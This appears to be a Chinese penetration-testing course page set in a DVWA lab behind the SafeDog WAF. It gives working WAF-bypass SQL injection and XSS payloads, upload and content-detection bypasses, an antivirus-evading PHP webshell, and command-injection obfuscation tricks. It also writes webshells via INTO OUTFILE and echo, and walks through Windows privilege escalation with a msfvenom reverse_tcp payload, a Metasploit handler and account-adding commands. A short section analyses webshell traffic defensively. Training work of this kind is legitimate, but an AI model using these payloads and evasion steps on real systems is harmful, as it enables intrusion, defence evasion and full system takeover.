Drollery Medieval drollery of a knight on a horse

🏆 欢迎来到本站: https://xuchangwei.com/希望这里有你感兴趣的内容

flowery border with man falling
flowery border with man falling

Safe: 10-渗透测试进阶

WAF 绕过

主要内容:

  • WAF 安装与配置
  • WAF 绕过 SQL 注入及 XSS 攻击
  • WAF 绕过文件上传
  • WAF 绕过漏洞扫描
  • WAF 绕过命令执行、绕过脚本免杀
  • WAF 绕过其它安全性验证

web application firewall web 应用防火墙
使用环境 :Win7+phpStudy+安全狗

初级安全防护设备:

  • 防火墙:网络层面防护,网络封堵、区域划分、访问控制
  • IDS/IPS:入侵检测/入侵防护(Intrusion Detection System/Intrusion Prevention System),主机层防护。虽然IPS即可以入侵检测也可以入侵防护,但有的业务场景不需要入侵防护,所有会有IDS
  • WAF:应用层防护
  • AV:anti virus 防病毒

上面4个可以满足初级防护要求。

WAF安装与配置

如果用虚拟机,分别对有WAF环境和无WAF环境打快照,方便后面试验切换。

1、安装DVWA

首先 phpstudy 中卸载Nginx,避免站点以Nginx服务启动。 操作:默认是以mysql+nginx方式启动的,从软件管理中卸载nginx

img_20230801_124622.png

源代码放到www目录 C:\phpstudy_pro\WWW\DVWA,操作:侧边栏网站点击管理,再打开根目录将DVWA目录拖进来

修改C:\phpstudy_pro\WWW\DVWA\config\config.inc.dist 为 config.inc.php,并编辑文件,修改数据库的账号密码均为root

img_20230801_124954.png

修改配置文件 C:\phpstudy_pro\WWW\DVWA\php.ini

allow_url_fopen = On
allow_url_include = On

以系统服务模式运行phpstudy,版本是php7.3.4,同步启动Apache服务

img_20230801_125112.png

成功安装,登录dvwa http://xxxip/DVWA 默认密码为admin/password

系统初始化之后使用 SQL_Front 工具修改 dvwa 库下两个表的字符集校对为 utf8_general_ci ,防止后续出现乱码。操作:在phpstudy软件管理工具中安全数据管理工具SQL_Front,打开有报错不用管理,选择dvwa数据库中表右键属性修改。

img_20230801_125152.png

测试注入

# SQL注入 1' and 1 = 1 #
# XSS注入 <script>alert(1)</script>

2、安装安全狗(WAF)

官网下载最新版安全狗Apache版本 http://free.safedog.cn/ ,这里下载网站安全狗Apache版

如果安装安全狗提示没有apache服务或者是安装过程中识别不到apache服务

1.关闭apache程序及httpd.exe进程
2.运行 cmd,进入 apache/bin 目录, 执行 .\httpd.exe -k install -n apache2.4.39
# apache bin 目录位置可通过 phpstudy - 设置 - 文件位置 - apache 中找到 之后在 任务管理器-服务 中可以看到对应的 apache2.4.39 服务

首先查看本地服务,看其中是否有apache服务:

- 搜索框输入 service ,打开"查看本地服务"
- 未看到apache服务
- 先在 phpstudy 上停止 apache 服务
- 进入 phpstudy 的 apache bin目录 C:\phpstudy_pro\Extensions\Apache2.4.39\bin
img_20230801_125528.png
img_20230801_125544.png
img_20230801_132101.png
img_20230801_132115.png

管理员打开 cmd

cd C:\phpstudy_pro\Extensions\Apache2.4.39\bin
# 安装和启动apache服务
.\httpd.exe -k install -n apache2.4.39
# 再查看本地服务,就可以看到apache服务了
搜索框输入 service ,打开"查看本地服务"
# 点击左侧"启动此服务"
img_20230801_132142.png
img_20230801_132155.png
img_20230801_132206.png

apache服务启动以后,不要调整也不要关闭phpStudy,直接安装安全狗

确定,填写服务名:apache2.4.39(注意是a是小写,从任务管理器里面看服务名)

img_20230801_132238.png

安装完成

打开桌面上的安全狗图标,发现已经开启了防护功能(提前注册账号)

img_20230801_132300.png

若遇到防护不生效的问题,可点击此处(网站安全狗插件)卸载所有插件再重新安装

img_20230801_132316.png

常见的 WAF 拦截页面

https://www.wangan.com/p/11v71302b8c5ab87

可以从网上找到对应产品绕过手法。

强调:手法不重要,重要是的绕过思路。

绕过的关键:

  • 让关键字变得复杂
  • 不改变其语义

WAF绕过SQL注入

工具无法完成逻辑推导过程。

sqlmap 无防护的情况下:

img_20230801_132418.png

有防护的情况下,sqlmap无法直接跑出数据(可能无法拦截新版本的sqlmap注入):

img_20230801_132438.png

尝试无防护手注,1' and '1'='1返回正常

img_20230801_132458.png

1' and '1'='2无返回

img_20230801_132513.png

开启安全狗防护

1、绕过普通注入

1' and '1'='1被拦截

尝试绕过安全狗策略

# 尝试替换注释
1' and '1'='1 # 被拦截
1' and '1'='1 --  被拦截
1' and '1'='1 -- - 被拦截
1' # 没有被拦截
安全狗不拦截井号,尝试其它关键字

# 尝试替换 and
1' /*!and*/ '1'='1 # 被拦截
1' /*!11445and*/ '1'='1 # 绕过
img_20230801_132540.png

内联注释:是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!…/中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别。

/*!11445*/ 表示版本号;从00000~99999 ,需要小于mysql的版本;

例如:mysql 5.6 ,则版本号需要小于 56000 才能执行成功

这个版本号有很多可以多尝试几个,这个原理就是在mysql数据库当中/*!加上指定的版本号来执行sql语句:

mysql官方文档:https://dev.mysql.com/doc/refman/8.1/en/comments.html

1'/*!11445and*/'1'='1
img_20230801_134132.png

尝试绕过,内联注释成功绕过。

2、绕过联合注入
用burp抓包或者浏览器插件hackbar中添加以下内容:

先用order by 判断列数

1' order by 1–+ 被拦截。+号在url中解析为空格

http://124.222.171.19:8080/vulnerabilities/sqli/?id=1' group by 1 --+&Submit=Submit#
img_20230801_134159.png

利用group by直接绕过:1' group by 2–+

img_20230801_134219.png

1' group by 3–+ 报错,知道有2列,则查询2列

img_20230801_134258.png

1' union select 1,2–+ 被拦截

img_20230801_134311.png

先来了解一下 regexp(正则函数),在数据库中执行

use dvwa
mysql> select user from users where user like 'a%'; # 查询结果中user包以a为开头的值
+-------+
| user  |
+-------+
| admin |
+-------+

mysql> select user from users where user regexp 'a'; # 查询结果中user值包含a字符串的值
+-------+
| user  |
+-------+
| admin |
| pablo |
+-------+
mysql> select user from users where user_id =1 regexp "%0A%23";
# %0A 换行,%23 代表#号
img_20230801_134419.png

利用下列语句绕过,在参数后插入其他语句,添加注释,然后使用截断,使用%23使得语句报错,将双引号直接注释

1' regexp "%0A%23" /*!11144union %0A select */1,2--+

# 没有哪条数据能匹配换行和#的,目的为了让sql语句变得复杂
# union select 会被安全狗拦截,所以这里加了 %0A 表示换行
img_20230801_134434.png

尝试获取database(),发现被拦截

1' regexp "%0A%23" /*!11144union %0A select */database(),2--+

再次使用內联注释绕过

?id=-1' regexp "%0A%23"/*!11144union %0A select*/ 1,database(%0A /*!11144*/)--+

成功注入出数据库名为dvwa

img_20230801_134516.png

同理,注入出user()为root@localhost

user()被拦截

img_20230801_134536.png

内联注释绕过

-1' regexp "%0A%23"/*!11144union %0A select*/ user(%0A /*!11144*/),database(%0A /*!11144*/)--+
# 1 改成 -1 是为了在显示位不足时,让 union 的左边查不出来,把页面的显示位留给右边的查询内容。
img_20230801_134606.png

尝试获取所有的库名,发现information_schema.schemata被拦截

-1' union /*//--/*/ select 1,group_concat(schema_name) from information_schema. /*//--/*/ schemata --+
img_20230801_134656.png

使用环境

docker pull citizenstig/dvwa 

使用上面的docker环境,可以在前后端同时进行测试验证,再次进行绕过获取所有库名

-1' union /*!--+/*%0aselect/*!1,*/ group_concat(schema_name) /*!from*/ /*!--+/*%0ainformation_schema./*!schemata*/ --+
# mysql 本身支持这种写法,不用管/*! /*有没有闭合

在数据库中进行执行

mysql> select user,password from users where user_id = '-1' union /*!-- /*
    -> select/*!1,*/ group_concat(schema_name) /*!from*/ /*!-- /*
    -> information_schema./*!schemata*/; -- ';
+------+--------------------------------------------------+
| user | password                                         |
+------+--------------------------------------------------+
| 1    | information_schema,dvwa,mysql,performance_schema |
+------+--------------------------------------------------+
1 row in set (0.00 sec)

# 按向上方向键
# mysql 本身支持这种写法,不用管/*! /*有没有闭合
mysql>  select user,password from users where user_id = '-1' union /*! select/*!1,*/ group_concat(schema_name)    /*!from*/      /*!information_schema./*!schemata*/;
+------+--------------------------------------------------+
| user | password                                         |
+------+--------------------------------------------------+
| 1    | information_schema,dvwa,mysql,performance_schema |
+------+--------------------------------------------------+
1 row in set (0.00 sec)
img_20230801_134804.png
img_20230801_134817.png
img_20230801_134832.png

获取dvwa库里面所有的表名

-1' union /*!--+/*%0aselect/*!1,*/ group_concat(table_name) /*!from*/ /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='dvwa' --+
img_20230801_134909.png

得到表:guestbook,users

img_20230801_134924.png

获取users表里面的所有字段

-1' union /*!--+/*%0aselect/*!1,*/ group_concat(column_name) /*!from*/ /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+

在数据库中执行

img_20230801_135000.png
img_20230801_135021.png

获取到字段名为:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

img_20230801_135043.png

注入出账号密码

-1' union /*!--+/*%0aselect/*!1,*/ group_concat(concat_ws(0x7e,user,password)) /*!from*/ dvwa.users --+

在数据库中执行

img_20230801_135109.png

md5解密发现账号密码为:admin/password

sql绕过小结

  • 在原始语句上不断加入换行、空格、内联注释、sql其它写法

WAF绕过XSS攻击

测试环境:DVWA+安全狗

直接输入script语句被拦截

<script>alert(1)</script>

利用base64编码即可绕过

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIHRlc3QiKTs8L3NjcmlwdD4="
img_20230801_135235.png

利用svg标签进行绕过; <svg> 标记定义 SVG 图形的容器。

<svg/onload=alert(1)>
img_20230801_135305.png

绕过思路:

  • 不要使用script标签,要使用script以外的其他标签
  • 尽量使用事件来触发弹窗
  • 尽可能多的掌握一些html标签,并用能知道标签可以使用哪些事件

WAF绕过文件上传

dvwa 低等级,无防护情况下,可以直接上传 info.php 文件成功
开启安全狗防护,无法上传

使用抓包工具分析流量

waf拦截过程推导:

  • 文件名后缀:php后缀名是waf拦截的原因
  • 文件内容:waf不基于文件内容进行检测和拦截
  • 文件类型:waf不基于文件类型进行检测和拦截

利用双写filename=;进行绕过

数据包中双写filename=;进行绕过

filename=;filename="one.php"
img_20230801_135517.png

利用无用文件头绕过

在请求体前面添加大量无用数据(注意要和请求头空一行),消耗waf检测时间实现绕过

img_20230801_135556.png
img_20230801_135610.png

利用分块传输绕过

分块传输原理:
把一个完整的数据包分成几块向后端进行传输,后端接收到后还原成一个完整的数据包。
waf没有组合或者拼接数据包的能力。

安装分块传输的burp插件 chunked-coding-converter-0.4.0.jar

找到burp的Extender选项卡

img_20230801_135637.png

点击add

img_20230801_135654.png

点击select

img_20230801_135714.png

将插件的jar包导入即可

img_20230801_135737.png

对post数据包进行分块传输
右键选择 Extensions –> Chunked coding converter 0.4.0 –> Chunked coding converter –> Encoding request body 把请求体重新做一次编码

img_20230801_135752.png

成功绕过安全狗上传webshell

img_20230801_135804.png

注意:针对最新的安全狗,该绕过方法已失效。

绕过内容检测

普通一句话木马上传成功后访问被拦截

http://ip/dvwa/hackable/uploads/one.php

img_20230801_135828.png

上传免杀一句话,让执行恶意代码的特征不那么明显

<?php
    $name = $_GET[1];
    $name = substr($name,0);
    eval("echo 123;" . $name."echo 456; " );
?>
img_20230801_135925.png

利用免杀一句话木马成功执行命令

http://10.0.0.152/DVWA/hackable/uploads/abc.php?1=system("whoami");
img_20230801_135945.png

利用00截断绕过

burp抓包工具

上传文件,将文件名称改为one.php;.jpg

img_20230801_140017.png

在Hex16进制中把3b修改成00,这样前端还认为是jpg文件但到了后端00截断为了php文件

img_20230801_140033.png

回到raw选项卡发包,上传成功

img_20230801_140052.png

WAF绕过漏洞扫描

通常在实战中,当我们需要进行漏洞扫描的时候,常常被WAF产品拦截,导致扫描结果不可用,出现很大的误报,这时候需要采取WAF绕过扫描。

触发WAF的原因:
1、漏扫线程过大被封禁
解决方法:延时,低线程,使用代理池,白名单扫描

2、工具指纹被WAF识别被封禁
解决方法:指纹特征修改,模拟用户漏扫

3、漏洞单点payload特征被WAF识别封禁
解决方法:数据变异绕过,多种工具集合扫描尝试

扫描器在实战中更多是起到隐藏流量的作用,我们可以利用扫描器制造巨大的流量,中间再发起精心设计好的payload。

WAF绕过漏洞扫描实践
1、使用代理池 https://www.kuaidaili.com/

img_20230801_140334.png

2、更换user-agent

有些扫描工具的UA是固定的,且存在特征。

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4
Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

3、修改漏扫特征指纹
4、降低线程,扫描敏感度,使用流量代理转发
5、使用冷门工具代替常见漏扫工具

WAF绕过命令执行,绕过脚本免杀

WAF绕过命令执行

常见的命令执行函数

system()             #输出并返回最后一行shell结果
exec()               #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里
passthru()           #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上
popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针
shell_exec()         #通过shell执行命令并以字符串的形式返回完整的输出
反引号                #本质是使用shell_exec()函数

命令分隔符

Windows: && || & |
Linux: && || & | ;
分号;在shell中担任连续指令的功能

截断符号

$
;
|
&
-
(
)
{
}
反引号
||
&&
%0a #有时可当空格使用

Linux命令执行绕过
1、绕过空格

${IFS}
$IFS$9 #$9可改成$加其他数字
<
<> #重定向符
{cat,flag.php} #用逗号,实现了空格功能

范例:

[root@c5 ~] eth0 = 10.0.4.12
# cat<a.txt 
abc
def
HHH
[root@c5 ~] eth0 = 10.0.4.12
# cat${IFS}a.txt
abc
def
HHH
[root@c5 ~] eth0 = 10.0.4.12
# {cat,a.txt}
abc
def
HHH
[root@c5 ~] eth0 = 10.0.4.12
# cat<>a.txt
abc
def
HHH

2、拼接

#在linux系统中,文件名拆分
a=g;cat fla$a.php
a=fl;b=ag.php;cat $a$b

#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b

范例:

# a=fl;b=ag.php;cat $a$b
abc
def
HHH

3、编码

$(echo "Y2F0IHRlc3QudHh0"|base64 -d)

范例

# echo "Y2F0IHRlc3QudHh0"|base64 -d
cat test.txt
# $(echo "Y2F0IHRlc3QudHh0"|base64 -d)
abc
def
HHH

4、单引号、双引号绕过

cat te''st.txt
cat te""st.txt
c''at te''st.txt
c""at te""st.txt

范例:

# c""at te""st.txt
abc
def
HHH

5、反斜杠绕过

cat te\st.txt
c\at te\st.txt
# c\at te\st.txt
abc
def
HHH

6、通配符绕过

cat /etc/pass*
img_20230801_141921.png

Windows下同理:如当命令执行被拦截的时候需要进行绕过,如whoami被拦截可以尝试如下进行绕过

w"h"o"a"m"i
"w"h"o"a"m"i"
"w"h"o"a"m"i
w"h"o"a"m"i"
who^ami
wh""o^a^mi
wh""o^a^mi
((((Wh^o^am""i))))
(Wh^o^am""i)
(Whoami)

或者

set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami

范例:

C:\Users\jasper>w"h"o"a"m"i
jasper\jasper

C:\Users\jasper>who^ami
jasper\jasper

C:\Users\jasper>((((Wh^o^am""i))))
jasper\jasper

C:\Users\jasper>(Whoami)
jasper\jasper

#----
C:\Users\jasper>set a=who

C:\Users\jasper>set b=ami

C:\Users\jasper>%a%%b%
jasper\jasper

C:\Users\jasper>call %a%%b%
jasper\jasper

WAF绕过脚本免杀

下载最新D盾查杀工具 https://www.d99net.net/

img_20230801_142123.png

将一句话木马拖入D盾进行查杀,发现后门级别为5,说明是eval后门,在实战中经常被杀

img_20230801_142140.png

尝试对脚本进行免杀处理

<?php
    $name = $_GET[1];
    $name = substr($name,0);
    eval("echo 123;" . $name."echo 456; " );
?>

免杀过最新版D盾2.1.7.2

img_20230801_142227.png

上传到服务器证明可用

img_20230801_142242.png

利用passthru(whoami);绕过防护

http://ip/dvwa/hackable/uploads/bypass.php?1=passthru(whoami);
img_20230801_142316.png

WAF绕过其他安全性验证

  1. WAF封锁IP,使用代理池进行绕过
  2. WAF防止端口扫描,使用低线程进行缓速扫描
  3. WAF封闭外网敏感端口,通过web进行流量代理 等等

webshell 后门分析

主要内容:

  • 代码层面后门分析
  • 菜刀后门分析
  • 网络层面后门分析

代码层面后门分析

通过文件上传漏洞上传webshell

img_20230801_142500.png

访问webshell地址:http://192.168.85.188/dvwa/hackable/uploads/one.php

可以通过post传参来执行命令,test=system("whoami");

img_20230801_142527.png

为什么可以通过post传参来执行系统命令呢?
分析一句话webshell的代码:

<?php @eval($_POST[test])?>

#说明
<?php ?> 是php语言的格式,eval将括号内的字符串解析为php代码;
$_POST[test] 为获取post参数test的值;
@是抑制符号,屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。
img_20230801_142659.png

该一句话木马的意思是:在post参数中test后面的值都会当作php的代码来执行。

当我们传入system("whoami"),会被当作php代码直接执行,system是php的命令执行函数,所以直接执行了whoami命令,显示出来:

img_20230801_142726.png

防御方法:

  • 过滤掉所有能执行命令的函数

菜刀后门分析

中国菜刀:一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理。支持php 5.X之前的版本

WSExplorer:一款网络抓包工具,可以监控服务器上指定软件/进程的通信,能看到指定软件/进程的通信行为,比如什么时候/什么顺序与哪个地址/端口进行了通信,发送了什么内容。可以对数据包内容进行二进制和明文转换,对于一些不加密的数据包甚至可以直接看到明文内容。

打开菜刀链接Webshell

img_20230801_142759.png

打开WSExplorer

img_20230801_142816.png

选择菜刀进程chopper.exe

img_20230801_142830.png

进入菜刀界面操作,WSExplorer会捕获到数据包

img_20230801_142845.png

正常来说地址都是192.168.85.188,如果出现了可疑的其他服务器地址,就很有可能存在后门

分析数据包:

POST /dvwa/hackable/uploads/one.php HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 15.81.203.20
Referer: http://192.168.85.188
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.85.188
Content-Length: 628
Connection: Close

test=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2B fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1Rb InoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQs MCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVt KCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8 PC0iKTtkaWUoKTs%3D&z1=Y21k&z2=Y2QgL2QgIkM6XHBocFN0dWR5XFBIUFR1dG9yaWFsXFdXV1xEVl dBXGhhY2thYmxlXHVwbG9hZHNcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0%3D

对z0的值进行url解码

img_20230801_143007.png

然后继续base64解码得到明文:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);e cho("- >|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($ _SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \" {$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?" ret={$ret} ":"";;echo("|<-");die();&z1=cmd&z2=cd /d "C:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\"&whoami&echo [S]&cd&echo [E]

发现

z1=cmd

z2=cd /d "C:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\"&whoami&echo [S]&cd&echo [E]

该语句意思为进入C:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads目录执行cmd命令 whoami,并且输出。这就是中国菜刀的流量通信的特征。

针对交互的流量包进行逐个分析,如果在这些特征中出现了可疑的IP地址或者服务器地址,就很有可能存在后门,比如:

img_20230801_143144.png

网络层面后门分析

打开Wireshark,选择VMware net8网卡,进行数据包捕获:

img_20230801_143203.png

使用上传漏洞获取Webshell,并利用蚁剑继续连接,执行命令

img_20230801_143223.png
img_20230801_143239.png

通过语法过滤进行分析:

ip.dst == 192.168.85.150 && http –> 查询目的IP是192.168.85.150并且协议是http的流量包

img_20230801_143300.png

右击数据包,追踪TCP流,即可发现蚁剑执行命令

img_20230801_143317.png

红色的是请求内容,蓝色为响应内容

img_20230801_143329.png

通过wireshark分析流量包找到具备攻击特征的流量,是有命令执行特征的,从而发现这是一个攻击行为。

实际工作中流量监控分析也是这样的,只不过在工作中我们更多的是依赖商业化的流量监控设备或者软件,如态势感知设备、流量分析设备等。

webshell 获取思路总结

主要内容:

  • 获取 webshell 方法总结

流量包

SQL注入漏洞

环境:phpstudy2018
截取SQL注入数据包

  • 判断注入点
  • 判断有几列
  • 使用联合注入查出库名
img_20230801_143427.png

http://192.168.85.150/dvwa/vulnerabilities/sqli/?id=1%27+order+by+2--+&Submit=Submit#

img_20230801_143444.png

http://192.168.85.150/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%20database(),2--+&Submit=Submit#

img_20230801_143508.png

前提:知道绝对路径,mysql 配置文件设置secure_file_priv为空,允许导入导出
写入webshell

http://192.168.85.150/dvwa/vulnerabilities/sqli/?id=1' union select 1,'<?php phpinfo();?>'into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\DVWA\\mysql2.php'-- +&Submit=Submit#

成功写入:http://192.168.85.150/dvwa/mysql2.php

img_20230801_143604.png

文件上传漏洞

前面做了很多此类操作,如果很熟悉可跳过。

img_20230801_143617.png

/hackable/uploads/one.php

img_20230801_143634.png

访问webshell:http://192.168.85.188/dvwa/hackable/uploads/one.php

img_20230801_143654.png

命令执行漏洞

dvwa 命令注入

127.0.0.1 && whoami
img_20230801_143710.png

利用echo命令写入webshell

截取数据包:

127.0.0.1 && dir

查看目录为 C:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\exec

img_20230801_143726.png

尝试写webshell到C:\phpStudy\PHPTutorial\WWW\DVWA目录

127.0.0.1 && echo ^<?php @eval($_POST[test]);?^>>C:\phpStudy\PHPTutorial\WWW\DVWA\a.php
img_20230801_143754.png

查看C:\phpStudy\PHPTutorial\WWW\DVWA目录,发现webshell写入成功

dir C:\phpStudy\PHPTutorial\WWW\DVWA
img_20230801_143815.png

访问webshell,成功执行

img_20230801_143830.png

蚁剑成功连接

img_20230801_143848.png

其他通用的RCE漏洞

比如:
thinkphp远程代码执行
phpcms任意文件上传
dedecms远程代码执行
南方数据cms备份getshell
phpmyadmin后台获取webshell等等

万变不离其宗,原理依然是靠SQL注入,代码执行,命令执行。

Windows/Linux 权限提升

主要内容:

  • Windows 提权前期相关事项
  • Windows 提权常用命令
  • Windows 提权实战、提权防范
  • Windows 提权后期密码安全性测试
  • Linux 权限提升及提权必备命令学习
  • Linux 脏牛提权及 SUID 提权

提权思路:
利用漏洞 –> 遇到waf –> 绕过waf –> 获取webshell –> whoami: 普通用户 –> 想要系统权限 –> 提权

Windows提权前期相关事项

明确事项:

  • 明确漏洞编号及版本
  • 明确漏洞利用平台及版本
  • 确保cmd执行权限正常运行
  • 明确服务器相关防护软件情况

systeminfo查看系统补丁:一般的,如果网站安全做好的的情况下,会有几百个补丁

img_20230807_110934.png

Windows提权常用命令

whoami      查看当前权限
ipconfig    查看服务器为内网还是外网
quser       查看管理是否在线
systeminfo  查看服务器信息及相应的补丁,可找相应的补丁提权
tasklist    查看当前运行的进程,是否有av,可利用的第三方的服务提权等
net user    查看用户
net user admin adqqq7! /add 添加账户
net localgroup administrators admin /add 将admin这个用户加到管理组
net user guest /active:yes 激活guest账户
net user administrator 123456 设置用户密码
net user admin /del 删除admin账户
tasklist /svc   查看进程服务
tasklist /m dll 查看调用某个dll的进程
tasklist /v     显示当前进程和进程用户
qwinsta         显示会话情况
net config workstation 查看当前登陆用户信息
hostname        主机名
set             查看环境变量
net view        显示当前域或工作组中计算机的列表
net statistics workstation 查看主机开机时间
net share       查看共享文件夹

乱码使用chcp 437即可

查看3389是否开启,0x0为开,0x1为关
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections

win2012通用,win7开启3389:

wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfSingleSessionPerUser /t REG_DWORD /d 0 /f

windows server2008开启3389:

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections /t REG_DWORD /d 00000000 /f

windows server 2003,windws XP开启3389

wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

Windows提权实战

环境:Win7(admin用户)+ Kali Linux

通过文件上传漏洞成功上传一句话木马

img_20230807_111625.png

蚁剑连接:http://192.168.85.188/dvwa/hackable/uploads/one.php

攻击思路:使用msf生成一个exe后门,通过 Webshell 上传并执行该后门程序

  • 拿下webshell
  • 利用msf制件后门程序
  • 通过webshell上传后门程序
  • kali开启监听
  • 在靶机中运行后门程序
  • 拿到meterpreter命令行,形成会话
  • 再结合其他系统漏洞来实现提权
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.85.137 lport=5555 -f exe -o 5555.exe
// lhost 需改成kali机器的IP

msf监听端口
msfconsole
use exploit/multi/handler
options
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.85.137
set lport 5555
run

上传5555.exe到Webshell

img_20230807_111757.png

Webshell直接执行5555.exe,通过虚拟终端直接运行

img_20230807_111815.png

即可得到meterpreter会话

img_20230807_111834.png

得到一个meterpreter会话之后,getuid发现为admin权限(保证用admin启动的phpstudy)

backgroud,将会话放入后台

img_20230807_112037.png

利用sessions查看会话

img_20230807_112023.png

sessions -i 3 进入metepreter

img_20230807_112054.png

run post/windows/gather/enum_patches 查看补丁信息
run post/multi/recon/local_exploit_suggester 查询哪些提权exp可以用

img_20230807_112217.png

发现ms16-014可用,background

search ms16-014
或者用 ms15_051_client_copy_image

img_20230807_112300.png

发现序号为1的是可用的exp
use 1
show options 发现需要设置session
设置session为3,exploit执行
set session 3

成功返回meterpreter,getuid发现成功提权至system权限

meterpreter > getuid
